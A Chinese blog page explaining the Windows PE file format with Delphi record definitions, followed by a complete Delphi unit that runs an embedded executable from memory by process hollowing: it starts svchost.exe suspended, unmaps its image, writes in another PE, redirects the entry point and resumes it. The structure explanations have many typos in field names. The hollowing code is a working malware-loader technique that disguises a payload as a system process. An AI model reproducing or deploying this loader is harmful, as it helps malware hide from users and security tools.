delphi中PE文件结构

PE文件:

-----------------------------------------------------------------------

     |   DOS Header                                                                              |   其中_lfanew 域指向4的地址

     |   结构:TImageDosHeader                                                             |

文  |----------------------------------------------------------------------------------------------------------------------------------

件  |    DOS stub 可执行代码                                                                 |   不定长

头  |----------------------------------------------------------------------------------------------------------------------------------------------------

部  |                                             |    PE标志                                       |

     |                                             |--------------------------------------------------------------------------------------------------------------------

     |    PE Header                           |    PE基本信息                                 |   其中NumberOfSection域决定8的元素个数

     |    结构:TImageNtHeaders        |    结构:TImageFileHeader              |

     |                                             |--------------------------------------------------------------------------------------------------------------------

     |                                             |    PE 可选头部                                |   其中SizeOfHeaders域是1和8占用的总空间,也是9的相对地址:DataDirectory域

     |                                             |    结构:TImageOptionalHeader        |   包含了16个有用的数据表首地址

---------------------------------------------------------------------------------------------------------------------------------------------------------

    Section table (字表)                                                                         |   不定长

    结构: array[] of TImageSection Header                                             |

------------------------------------------------------------------------------------------------------------------------------------------------------------

……………………                                                                                       |

……………………                                                                                       |

------------------------------------------------------------------------------

 

DOS Header结构:

PImageDosHeader  =^ TImageDosHeader;

_IMAGE_DOS_HEADER = packed record

  e_magic: Word;                              { 常设为“MZ” }

  e_cblp: Word;                  { Bytes on last page of file } 

  e_cp: Word;               { Pages in file }

  e_crlc: Word;            { Relocations }

  e_cparhdr: Word;          { Size of header in paragraphs }

  e_minalloc: Word;          { Minimum extra paragraphs needed }

  e_maxalloc: Word;          { Maximum extra paragraphs needed }

  e_ss: Word;             { Initial (relative) SS value }

  e_sp: Word;             { Initial SP value }

  e_esum: Word;             { Check sum }

  e_ip: Word;              { Initial (relative CS value }

  e_cs: Word;              { Initial (relative CS value }

  e_lfarlc: Word;              { File address of relocation table }

  e_ovno: Word;              { Overlay number }

  e_res: array [0..3] of Word;      { Reserved words  }

  e_oemid: Word;            { OEM identificr (fore oeminfo) }

  e_oeminnfo: Word;           { OEM information: e_oemid specific }

  e_res2:array [0..9] of Word;      { Reserved words }

  _lfanew: LongInt;            { PE header在文件中的偏移量 }

end;

  其中只有两个域比较重要: e_magic包含字符串“MKZ”(即IMAGE_DOS_SIGNATURE, 或$5A4D), lfannew包含PE Header在文件中的偏移量。比较e_magic是否等于IMAGE_DOS_SIGNATURE验证是否为有效的DOS Header。

  为了定位到PE Header(PE文件头部), 移动文件指针到_lfanew所指向的偏移。

 

PE header在delphi中的完整定义:

PImageNtHeaders =^ TImageNtHeaders;

_IMAGE_NT_HEADERS = packed record

  Signature: DWORD;  { PE标记, 值恒为$50、$45、$00、$00(即IMAGE_NT_SIGNATURE、$00004550或“PE\0\0”) }

  FileHeader: TImageFileHeader;   { 包含了关于文件物理分布的一般信息 }

  OptionalHeader: TImageOptionalHeader;  { 包含了关于PE文件逻辑分布的信息 }

end;

{ $EXTERNALSYM_IMAGE_NT_HEADERS }

TImageNtHeaders = _IMAGE_NT_HEADERS;

 

PE基本信息(File Header)

PImageFileHeader =^ TImageFileHeader;

_IMAGE_FILE_HEADER = packed record

  Machine: Word;  { 该文件运行所要求的CPU }

  NumberOfSection: Word;  { 文件中节的个数。 如果要在文件中增加或删除一个节,就需要修改这个值。如果要对文件加外壳,需要修改节的数目 }

  TimeDateStamp: DWORD;  { 文件创建日期和时间 }

  PointerToSymbolTable: DWORD;  { 指向符号表,用于调试 }

  NumberOfSymbols: DWORD;  { 存放符号表的数目 }

  SizeOfOptionalHeader: Word;  { 指示紧随本结构之后的IMAGE_OPTIONAL_HEADER结构大小 }

  Characteristics: Word;  { 关于文件信息的标记 }

end;

{ $EXTERNALSYM_IMAGE_FILEE_HEADER }

TImageFileHeader = _IMAGE_FILE_HEADER;

 

PE可选头部(Optional Header )

PImageOptionnalHeader =^TImageOptionalHeader;

_IMGEE_OPTIONAL_HEADER = packed record

  Mageic: Word;  { 可选头部,通常为$010B, 占2字节 }

  MajorLinkerVersion: Byte;  { 连接程序主版本号,占1字节 }

  MinorLinkerVersion: Byte;  { 连接程序主版本号,占1字节 }

  SizeOfCode: DWORD;  { 代码段的大小(经过对齐后的值), 占4字节 }

  SizeOfInitializedData: DWORD;  { 已经初始化数据的大小,占4字节 }

  SizeOfUninitializedData: DWORD;  { 未初始化数据的大小,占4字节 }

  AddressOfEntryPoint: DWORD;  { PE装载器准备运行的PE文件的第一个代码指令的RVA。 若需要改变整个执行的流程,可以将该值指定到新的RVA,这样新RVA处的指令首先被执行。该域占4字节 }

  BaseOfCode: DWORD;  { 代码节开始的位置,占4字节 }

  BaseOfData: DWORD;  { 数据节开始的位置,占4字节 }

  { NT additional fields. }

  ImageBase: DWORD;  { PE文件的装载地址。对于EXE文件,该值常为$400000或$100000 }

  SectionAlignment: DWORD;  { 节的对齐值,例如,如果该值是$1000,那么每节的起始地址必须是$1000的倍数 }

  FileAlignment: DWORD;  { 文件的对齐值。例如,如果该值是$200, 那么每节的起始地址必须是@200 }

  MajorOperatingSystemVersion: Word;  { 要求最低操作系统版本号的主版本号,占2字节 }

  MinorOperatingSystemVersion: Word;  { 要求最低操作系统版本号的次版本号,占2字节 }  

  MajorImageVersion: Word;  { 可执行文件主版本号,占2字节 }  

  MinorImageVersion: Word;  { 可执行文件次版本号,占2字节 }

  MajorSubSystemVersion: Word;  { Win32子系统主版本。若PE文件是专门为Win32设计的,该子系统版本应该应该是4.0, 否则对话框不会有3维立体感 }

  MinorSubSystemVeersion: Word;  { Win32子系统次版本,占2字节。 }

  SizeOfImage: DWord;  { 内存中整个PE映像体的大小。注意:该域的值大于或等于原文件的内存空间,而不是原文件的物理顺序 }

  SizeOfHeaders: DWord;  { PE文件所有头部和节表占用的总空间大小,也就是PE文件第一节的相对偏移量,占4字节 }

  CheckSum: DWord;  { CRC检验和,一般的EXE文件可以是0,但重要的DLL文件必须有一个校验和,占4字节 }

  SubSystem: Word;  { 识别PE文件属于哪个子系统。对于大多数Win32程序,只有两个可能值:Windows GUI图形界面和Windows CUI控制台,占2字节 }

  DHCharacteristics: Word;  { PE文件的DLL特征值,一般为0,占2字节。当是$2000时表示WDM驱动程序 }

  SizeOfStackReserve: DWord;  { 保留的堆栈大小,占4字节 }

  SizeOfHeapReserve: DWord;  { 提交的堆栈大小,这个值总小于或等于SizeOfStackReserve. 占4字节 }

  SizeOfHeapCommit: DWord;  { 为局部Heap提交的堆栈大小,这个值总小于或等于SizeOfHeapReserve,占4字节 }

  LoaderFlags: DWord;  { 用于调试,一般为0 }

  NumberOfRvaAndSizes: DWord;  { 数据目录的项数,一般为16 }

  DataDirectory:IMAGE_DATA_DIRECTORY  packed array[0..IMAGE_NUMBEROF_DIRECTORY_ENTRIES -1] of TImageDataDirectory;

  IMAGE_DATA_DIRECTORY结构数组。每个结构给出一个重要数据结构的RVA,例如,引入地址表、导出地址表等。数组上的元素可以是 以下值:

  IMAGE_DIRECTORY_ENTRY_EXPORT      = 0; { Export Directory }

  IMAGE_DIRECTORY_ENTRY_IMPORT       = 1; { Import Directory } 

  IMAGE_DIRECTORY_ENTRY_RESOURCE      = 2; { Resource Directory }

  IMAGE_DIRECTORY_ENTRY_EXCEPTION        = 3; { Exception Directory }

  IMAGE_DIRECTORY_ENTRY_SECURITY      = 4; { Security Directory }

  IMAGE_DIRECTORY_ENTRY_BASERELOC     = 5; { Base Relocation Table }

  IMAGE_DIRECTORY_ENTRY_DEBUG         = 6; { Debug Directory }

  IMAGE_DIRECTORY_ENTRY_COPYRIGHT     = 7; { Description String }

  IMAGE_DIRECTORY_ENTRY_CLOBALPTR       = 8; { Machine Value (MIPS GP }

  IMAGE_DIRECTORY_ENTRY_TLS             = 9; { TLS Directory }

  IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG     = 10; { Load Configuration Directory }

  IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT    = 11; { Bound Import Directory in headers }

  IMAGE_DIRECTORY_ENTRY__IAT         = 12; { Import Address Table }

end;

DataDirectory的每个元素都是TImageDataDirectory结构类型的,其定义如下所示:

  PImageDataDirectory =^TImageDataDirectory;

  _IMAGE_DATA_DIRECTORY = record

    VirtualAddress: DWord;  { 导出表、导入表、资源表等的相对虚拟地址(RVA) }

    Size: DWord;  { 导出函数表、导入函数表、资源表等的字节数 }

  end;

  { $EXTERNALSYM_IAMGE_DATA_DIRECTORY }

  TImageDataDirectory = _IMAGE_DATA_DIRECTORY;

 

  TImageOptionalHeader中DataDirectory的第一个元素的VirtualAddresss指向一个导出函数结构数组,该结构的定义如下:

  PImageExportDirectory =^TImageEExportDirectory;

  TImageExportDirectory = packed record

    Characteristics: DWord;  { 一般设为0 }

    TimeDateStamp: DWord;  { 文件生成时间 }

    MajorVersion: Word;  { 主版本号 }

    MinorVersion: Word;  { 次版本号 }

    Name: DWord;  { 模块中DLL名称。本域是必须的,因为文件名可能会改变。这种情况下,PE装载器将使用这个内部名字 }

    Base: DWord;  { 起始的函数编号,默认情况下是1,此值影响AddressOfNameOridinals数组 }

    NumberOfFunctions: DWord;  { 导出函数地址的数目,是AddressOfFunnctions数组中元素的个数。 }

    NumberOfNames:DWord;  { 导出函数名字的总数目,该值小于或等于NumberOfFunctions,是AddressOfNames、AddressOfNameOrdinals数组中元素的个数 }

    AddressOfFunctions:^PDWord  { 导出函数的地址数组,每个名字指针占32位(4字节) }

    AddressOfNames:^PDWord;  { 导出函数的名字数组,第个名字指针占32位(4字节) }

    AddressOfNameOrdinals:^PWord;  { 导出函数的编号数组,第个编号占16位(2字节) }

  end;

 

  DataDirectory数组R第二个元素包含引入函数表的地址。引入函数表是一个TImageImportDescriptor结构数组。每个结构包含一个被引入DLL的所有引入函数R信息。

  PImageImportDescriptor =^TImageImportDescriptor;

  TImageImportDescriptor = packed record

    OriginalFirstThunk: DWord;  { 这是FirstThunk的备份,有的模块中该域的值是0, 这时必须读取FirstThunk。 }

    TimeDateStamp: DWord;  { 文件建立时间 } 

    ForwarderChain: DWord;  { 当做一条链,当程序引用一个DLL中的API,而这个API又是引用别的DLL名字的指针时才用到 } 

    DLLName: DWord;  { DLL模块的名字, 是一个ASCII Z字符串 }

    FirstThunk: DWord;  { 有两种情况。如果值小于$80000000,  则表示这是一个TImportByName结构数组,包含从该DLL引入的所有函数列表(一个或多个函数);如果值大于或等于$80000000, 该值的低31位是该DLL引入函数的编号(一个函数)。因为当前模块引入其他DLL模块中的函数有两种方式:以名字引入和以编号引入 }

  end;

  PImportByName =^TImportByName:

  TImportByName = packed record

    ProcedureHint: Word;  { 指示本函数在其所驻留DLL的导出表中的索引号。该值被PE装载器用来在DLL的导出表里快速查询函数。该值不是必须的,一些链接器将此值设为0 }

    ProcedureName: array[0..1] of char;   { 含有引入函数的函数名,这是一个ASCII Z字符串 }

  end;

 

节表(Section Table)

PImageSectionHeader =^TImageSectionHeader;

_IMAGE_SECTION_HEADER = packed record

  Name:packe array[0..IMAGE_SIZEOF_SHORT_NAME-1] of Bytee;  { 节名,长度不超过8字节。仅做为标记 }

  Misc:TISHMisc;  { 在OBJ文件中,physcialAddress用做表示本节物理地址; 在EXE中,VirtualSize表示节的虚拟空间大小。该域占4字节 }

  VirtualAddreess: DWord;  { 本节的RVA(相对虚拟地址)。PE装载器将节映射至内存时会读取本值。例如,如果值是1000H, 而PE文件装在地址400000H处,那么本节就被载到401000H;在OBJ文件中无意义,占4字节。注意:该域的值表明“节”被重定位到新的内容空间中,而不是原文件的物理顺序 }

  SizeOfRawData: DWord;  { 经过文件对齐处理后节的大小,PE装载器提取该值来了解需映射入内存的字节数,该值大于或等于VirtualSize }

  PointerToRawData: DWord;  { 当前节的数据在磁盘物理文件中的实际位置 }

  PointerToRelocations: DWord;  { 在OBJ文件中表示该节重定位信息的相对地址,在PE文件中无意义,占4字节 }

  PointerToLinenumbers: DWord;  { 行号表的相对地址,占4字节 }

  NumberOfRelocations: Word;  { 本节要重定位的数目,占2字节 }

  NumberOfLinenumbers: Word;  { 本节的行号表中的数目,占2字节 }

  Characteristics: DWord;  { 节属性,包括节是否含有可执行代码、初始化数据、未初始数据,或是否可写、可读等,占4字节 }

end;

{ $EXTERNALSYM_IMAGE_SECTIONk_HEADER }

TImageSectionHeader = _IMAGE_SECTION_HEADER;

 

引入函数表(Import Table)

要列出PE文件的所有引入函数,可以按照下面的步骤:

  1. 校验文件是否是有效的PE文件

  2. 从DOS Header 定位到PE Header

  3. 获取Optional Header中的DataDirectory值

  4. 取出DataDirectory第二个元素中的VirtualAddress值,该值实际上是指向TImageImportDescriptor数组的指针。

  5. 读出每个TImageImportDescriptor结构,它的DLLName域是模块的名字,它的FirstThunk有两种情况:如果最高位为0, 则FirstThunk是一个TImportByName结构数组,里面包含一个或多个引入函数的名字;如果最高位为1, 则FirstThunk是该DLL模块中一个引入函数的编号。

  6. 循环第5步,直至遭到一全是0的结构。

 

导出表(Export Table)

通过导出函数名要获取函数地址和编号,可以按照以下步骤操作

1. 通过DOS Header定位到PE Header

2. 获取Optional Header中的DataDirectory值

3. 取出DataDirectory第一个元素中的VirtualAddress值,该值实际上是指向TimageExportDirectory数组的指针,并获取Base域的值

4. 获取导出函数名字的数组(NumberOfNames)

5. 从AddressOfNames中检索出所需要的函数名,并从AddressOfNameOrdinals读出函数的“相对编号”,“实际编号”=“相对编号”+Base-1。例如,若检索到函数名字在AddressOfNames数组的第77个元素,就可以获得AddressOfNameOridinals数组的第77个元素,就可以获得AddressOfNameOridinals数组的第77个元素作为函数“相对编号”, 77 + Base - 1是函数的“实际编号”;如果此“相对编号”是90, 那么可以获得AddressOfFunctions数组的第90个元素作为函数的入口地址。如果遍历完NumberOfNames个元素也没有检索到该函数的名字,则说明当前模块没有所要找的函数。

 

通过函数的编号n也可以获取函数地址,步骤如下:

1. 从DOS Header定位到PE Header

2. 获取Optional Header中的DataDirectory值

3. 取出DataDirectory第一个元素中的VirtualAddress值,该值实际上是指向TImageImportDescriptor数组的指针,并获取Base域的值。

4. 如果n-(Base-1)的值大于或等于NumberOfFunctions,则说明该函数编号无效;

5. 这样,就可以获得AddressOfFunctions数组中的第n-(Base-1)个元素的值。

 

通过函数的编号n获取函数名字的步骤如下:

1. 从DOS Header定位到PE Header

2. 获取Optional Header中的DataDirectory值

3. 取出DataDirectory第一个元素中的VirtualAddress值,该值实际上是指向TImageImportDescriptor数组的指针,并获取Base域的值

4. 如果n-(Base-1)的值大于或等于NumberOfFunctions,则说明该函数编号无效

5. 在AddresssOfNameOrdinals数组中搜索n-(Base-1)值,如果能搜索到,这时的索引值是i, 则NumberOfNames的第i个元素是函数的名字;如果没有找到,则说明该函数没有指定导出的名字。

 

重定位表

若装载器不是把程序装到程序编译时默认的基地址时,就需要这个重定位表来做一些调整。

PImageBaseRelocation =^TImageBaseRelocationn;

TImageBaseRelocation = Packed Record

  VirtualAddress: DWord;  { 重定位数据块起始地址 }

  SizeOfBlock: DWord;  { 本块的大小 }

  TypeOffset: array[0..1] of Word;  { 一个不定长数组,即是要定位的数据的位置,其低12位加上VirtualAddress即是重定位的数据的RVA地址 }

end;

 

检验PE文件的有效性

  如何才能校验指定文件是否为有效PE文件呢?这可以通过检验PE文件格式里的各个数据域,或者仅校验一些关键数据域来实现。大多数情况下,没有必要校验文件里的第一个数据域,只要校验一些关键数据域有效,就可以确定是否是有效的PE文件了。

  要验证的重要数据结构就是PE Header。PE Header实际就是一个TImageNtHeaders结构,如果TImageNtHeaders的Signature域值等于“PE\0\0”,那么这就是有效的PE文件。实际上,为了方便编程,可以使用Microsoft已定义了的常量IMAGE_NT_SIGNATURE(“PE\0\0”):

  IMAGE_DOS_SIGNATURE = $5A4D;

  IMAGE_OS2_SIGNATURE = $454E;

  IMAGE_OS2_SIGNATURE_LE = $454C;

  IMAGE_VxD_SIGNATURE = $454C;

  IMAGE_NT_SIGNATURE = $4550;

接下来的问题是如何定位PE Header。 前面讲述过的DOS Header包含了一个指向PE Header的偏移量。DOS Header是一个TImageDosHeader结构,该结构中的_lfanew域就是指向PE Header的偏移量。

实现步骤如下:

1. 首先检验文件头部第一、二个字节的值是否等于IMAGE_DOS_SIGNATURE, 若是,则DOS Header有效。

2. 使用DOS Header的_lfanew来定位PE Header。注意:使用_lfanew之前, 需要检验其有效性,这可以使用IsBadReadPtr函数或把_lfanew值与文件的大小进行比较来检验

3. 检验PE Header的前四个字节的值是否等于IMAGE_NT_HEADER,若是,则该文件是一个有效的PE文件

转载于:https://www.cnblogs.com/skyblue-Mr/archive/2013/03/11/2953307.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
unit PE; interface uses windows; function MemExecute(const ABuffer; Len: Integer; CmdParam: string; var ProcessId: Cardinal): Cardinal; implementation type TImageSectionHeaders = array[0..0] of TImageSectionHeader; PImageSectionHeaders = ^TImageSectionHeaders; { 计算对齐后的大小 } function GetAlignedSize(Origin, Alignment: Cardinal): Cardinal; begin result := (Origin + Alignment - 1) div Alignment * Alignment; end; { 计算加载pe并对齐需要占用多少内存,未直接使用OptionalHeader.SizeOfImage作为结果是因为据说有的编译器生成的exe这个值会填0 } function CalcTotalImageSize(MzH: PImageDosHeader; FileLen: Cardinal; peH: PImageNtHeaders; peSecH: PImageSectionHeaders): Cardinal; var i: Integer; begin {计算pe头的大小} result := GetAlignedSize(PeH.OptionalHeader.SizeOfHeaders, PeH.OptionalHeader.SectionAlignment); {计算所有节的大小} for i := 0 to peH.FileHeader.NumberOfSections - 1 do if peSecH[i].PointerToRawData + peSecH[i].SizeOfRawData > FileLen then // 超出文件范围 begin result := 0; exit; end else if peSecH[i].VirtualAddress 0 then //计算对齐后某节的大小 if peSecH[i].Misc.VirtualSize 0 then result := GetAlignedSize(peSecH[i].VirtualAddress + peSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment) else result := GetAlignedSize(peSecH[i].VirtualAddress + peSecH[i].SizeOfRawData, PeH.OptionalHeader.SectionAlignment) else if peSecH[i].Misc.VirtualSize < peSecH[i].SizeOfRawData then result := result + GetAlignedSize(peSecH[i].SizeOfRawData, peH.OptionalHeader.SectionAlignment) else result := result + GetAlignedSize(peSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment); end; { 加载pe到内存并对齐所有节 } function AlignPEToMem(const Buf; Len: Integer; var PeH: PImageNtHeaders; var PeSecH: PImageSectionHeaders; var Mem: Pointer; var ImageSize: Cardinal): Boolean; var SrcMz: PImageDosHeader; // DOS头 SrcPeH: PImageNtHeaders; // PE头 SrcPeSecH: PImageSectionHeaders; // 节表 i: Integer; l: Cardinal; Pt: Pointer; begin result := false; SrcMz := @Buf; if Len < sizeof(TImageDosHeader) then exit; if SrcMz.e_magic IMAGE_DOS_SIGNATURE then exit; if Len < SrcMz._lfanew + Sizeof(TImageNtHeaders) then exit; SrcPeH := pointer(Integer(SrcMz) + SrcMz._lfanew); if (SrcPeH.Signature IMAGE_NT_SIGNATURE) then exit; if (SrcPeH.FileHeader.Characteristics and IMAGE_FILE_DLL 0) or (SrcPeH.FileHeader.Characteristics and IMAGE_FILE_EXECUTABLE_IMAGE = 0) or (SrcPeH.FileHeader.SizeOfOptionalHeader SizeOf(TImageOptionalHeader)) then exit; SrcPeSecH := Pointer(Integer(SrcPeH) + SizeOf(TImageNtHeaders)); ImageSize := CalcTotalImageSize(SrcMz, Len, SrcPeH, SrcPeSecH); if ImageSize = 0 then exit; Mem := VirtualAlloc(nil, ImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 分配内存 if Mem nil then begin // 计算需要复制的PE头字节数 l := SrcPeH.OptionalHeader.SizeOfHeaders; for i := 0 to SrcPeH.FileHeader.NumberOfSections - 1 do if (SrcPeSecH[i].PointerToRawData 0) and (SrcPeSecH[i].PointerToRawData < l) then l := SrcPeSecH[i].PointerToRawData; Move(SrcMz^, Mem^, l); PeH := Pointer(Integer(Mem) + PImageDosHeader(Mem)._lfanew); PeSecH := Pointer(Integer(PeH) + sizeof(TImageNtHeaders)); Pt := Pointer(Cardinal(Mem) + GetAlignedSize(PeH.OptionalHeader.SizeOfHeaders, PeH.OptionalHeader.SectionAlignment)); for i := 0 to PeH.FileHeader.NumberOfSections - 1 do begin // 定位该节在内存的位置 if PeSecH[i].VirtualAddress 0 then Pt := Pointer(Cardinal(Mem) + PeSecH[i].VirtualAddress); if PeSecH[i].SizeOfRawData 0 then begin // 复制数据到内存 Move(Pointer(Cardinal(SrcMz) + PeSecH[i].PointerToRawData)^, pt^, PeSecH[i].SizeOfRawData); if peSecH[i].Misc.VirtualSize < peSecH[i].SizeOfRawData then pt := pointer(Cardinal(pt) + GetAlignedSize(PeSecH[i].SizeOfRawData, PeH.OptionalHeader.SectionAlignment)) else pt := pointer(Cardinal(pt) + GetAlignedSize(peSecH[i].Misc.VirtualSize, peH.OptionalHeader.SectionAlignment)); // pt 定位到下一节开始位置 end else pt := pointer(Cardinal(pt) + GetAlignedSize(PeSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment)); end; result := True; end; end; type TVirtualAllocEx = function(hProcess: THandle; lpAddress: Pointer; dwSize, flAllocationType: DWORD; flProtect: DWORD): Pointer; stdcall; var MyVirtualAllocEx: TVirtualAllocEx = nil; function IsNT: Boolean; begin result := Assigned(MyVirtualAllocEx); end; { 生成外壳程序命令行 } function PrepareShellExe(CmdParam: string ): string; begin {这里的路径 自己定义了^_^,仅仅是外壳程序} //result:='c:\Program Files\Internet Explorer\iexplore.exe'+CmdParam ; result := 'c:\windows\system32\svchost.exe' + cmdparam; end; { 是否包含可重定向列表 } function HasRelocationTable(peH: PImageNtHeaders): Boolean; begin result := (peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress 0) and (peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size 0); end; type PImageBaseRelocation = ^TImageBaseRelocation; TImageBaseRelocation = packed record VirtualAddress: cardinal; SizeOfBlock: cardinal; end; { 重定向PE用到的地址 } procedure DoRelocation(peH: PImageNtHeaders; OldBase, NewBase: Pointer); var Delta: Cardinal; p: PImageBaseRelocation; pw: PWord; i: Integer; begin Delta := Cardinal(NewBase) - peH.OptionalHeader.ImageBase; p := pointer(cardinal(OldBase) + peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); while (p.VirtualAddress + p.SizeOfBlock 0) do begin pw := pointer(Integer(p) + Sizeof(p^)); for i := 1 to (p.SizeOfBlock - Sizeof(p^)) div 2 do begin if pw^ and $F000 = $3000 then Inc(PCardinal(Cardinal(OldBase) + p.VirtualAddress + (pw^ and $0FFF))^, Delta); inc(pw); end; p := Pointer(pw); end; end; type TZwUnmapViewOfSection = function(Handle, BaseAdr: Cardinal): Cardinal; stdcall; { 卸载原外壳占用内存 } function UnloadShell(ProcHnd, BaseAddr: Cardinal): Boolean; var M: HModule; ZwUnmapViewOfSection: TZwUnmapViewOfSection; begin result := False; m := LoadLibrary('ntdll.dll'); if m 0 then begin ZwUnmapViewOfSection := GetProcAddress(m, 'ZwUnmapViewOfSection'); if assigned(ZwUnmapViewOfSection) then result := (ZwUnmapViewOfSection(ProcHnd, BaseAddr) = 0); FreeLibrary(m); end; end; { 创建外壳进程并获取其基址、大小和当前运行状态 } function CreateChild(Cmd: string; var Ctx: TContext; var ProcHnd, ThrdHnd, ProcId, BaseAddr, ImageSize: Cardinal): Boolean; var si: TStartUpInfo; pi: TProcessInformation; Old: Cardinal; MemInfo: TMemoryBasicInformation; p: Pointer; begin FillChar(si, Sizeof(si), 0); FillChar(pi, SizeOf(pi), 0); si.cb := sizeof(si); result := CreateProcess(nil, PChar(Cmd), nil, nil, False, CREATE_SUSPENDED, nil, nil, si, pi); // 以挂起方式运行进程 if result then begin ProcHnd := pi.hProcess; ThrdHnd := pi.hThread; ProcId := pi.dwProcessId; { 获取外壳进程运行状态,[ctx.Ebx+8]内存处存的是外壳进程的加载基址,ctx.Eax存放有外壳进程的入口地址 } ctx.ContextFlags := CONTEXT_FULL; GetThreadContext(ThrdHnd, ctx); ReadProcessMemory(ProcHnd, Pointer(ctx.Ebx + 8), @BaseAddr, SizeOf(Cardinal), Old); // 读取加载基址 p := Pointer(BaseAddr); { 计算外壳进程占有的内存 } while VirtualQueryEx(ProcHnd, p, MemInfo, Sizeof(MemInfo)) 0 do begin if MemInfo.State = MEM_FREE then break; p := Pointer(Cardinal(p) + MemInfo.RegionSize); end; ImageSize := Cardinal(p) - Cardinal(BaseAddr); end; end; { 创建外壳进程并用目标进程替换它然后执行 } function AttachPE(CmdParam: string; peH: PImageNtHeaders; peSecH: PImageSectionHeaders; Ptr: Pointer; ImageSize: Cardinal; var ProcId: Cardinal): Cardinal; var s: string; Addr, Size: Cardinal; ctx: TContext; Old: Cardinal; p: Pointer; Thrd: Cardinal; begin result := INVALID_HANDLE_VALUE; s := PrepareShellExe(CmdParam + ' ' {, peH.OptionalHeader.ImageBase, ImageSize}); if CreateChild(s, ctx, result, Thrd, ProcId, Addr, Size) then begin p := nil; if (peH.OptionalHeader.ImageBase = Addr) and (Size >= ImageSize) then // 外壳进程可以容纳目标进程并且加载地址一致 begin p := Pointer(Addr); VirtualProtectEx(result, p, Size, PAGE_EXECUTE_READWRITE, Old); end else if IsNT then // 98 下失败 begin if UnloadShell(result, Addr) then // 卸载外壳进程占有内存 // 重新按目标进程加载基址和大小分配内存 p := MyVirtualAllocEx(Result, Pointer(peH.OptionalHeader.ImageBase), ImageSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (p = nil) and hasRelocationTable(peH) then // 分配内存失败并且目标进程支持重定向 begin // 按任意基址分配内存 p := MyVirtualAllocEx(result, nil, ImageSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE); if p nil then DoRelocation(peH, Ptr, p); // 重定向 end; end; if p nil then begin WriteProcessMemory(Result, Pointer(ctx.Ebx + 8), @p, Sizeof(DWORD), Old); // 重置目标进程运行环境的基址 peH.OptionalHeader.ImageBase := Cardinal(p); if WriteProcessMemory(Result, p, Ptr, ImageSize, Old) then // 复制PE数据到目标进程 begin ctx.ContextFlags := CONTEXT_FULL; if Cardinal(p) = Addr then ctx.Eax := peH.OptionalHeader.ImageBase + peH.OptionalHeader.AddressOfEntryPoint // 重置运行环境的入口地址 else ctx.Eax := Cardinal(p) + peH.OptionalHeader.AddressOfEntryPoint; SetThreadContext(Thrd, ctx); // 更新运行环境 ResumeThread(Thrd); // 执行 CloseHandle(Thrd); end else begin // 加载失败,杀掉外壳进程 TerminateProcess(Result, 0); CloseHandle(Thrd); CloseHandle(Result); Result := INVALID_HANDLE_VALUE; end; end else begin // 加载失败,杀掉外壳进程 TerminateProcess(Result, 0); CloseHandle(Thrd); CloseHandle(Result); Result := INVALID_HANDLE_VALUE; end; end; end; function MemExecute(const ABuffer; Len: Integer; CmdParam: string; var ProcessId: Cardinal): Cardinal; var peH: PImageNtHeaders; peSecH: PImageSectionHeaders; Ptr: Pointer; peSz: Cardinal; begin result := INVALID_HANDLE_VALUE; if alignPEToMem(ABuffer, Len, peH, peSecH, Ptr, peSz) then begin result := AttachPE(CmdParam, peH, peSecH, Ptr, peSz, ProcessId); VirtualFree(Ptr, peSz, MEM_DECOMMIT); //VirtualFree(Ptr, 0, MEM_RELEASE); end; end; initialization MyVirtualAllocEx := GetProcAddress(GetModuleHandle('Kernel32.dll'), 'VirtualAllocEx'); end. /////////////////////////////////////////////////////////////////////// {测试:你可以把任何一个exe文件 作成资源然后这样调用} program test; //{$APPTYPE CONSOLE} {$R 'data.res' 'data.rc'}//加入exe资源文件 uses windows, PE in 'PE.pas'; //引用上面的单元 var ProcessId: Cardinal; ResourceLocation: HRSRC; Size: Longword; ResDataHandle: THandle; ResourcePointer: PChar; begin ResourceLocation := FindResource(HInstance, 'myexe', RT_RCDATA); if ResourceLocation 0 then begin Size := SizeofResource(HInstance, ResourceLocation); if Size 0 then begin ResDataHandle := LoadResource(HInstance, ResourceLocation); if ResDataHandle 0 then begin ResourcePointer := LockResource(ResDataHandle); if ResourcePointer nil then begin MemExecute(ResourcePointer^, size, '', ProcessId);//只需这样调用即可 end; end; end; end; end.

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值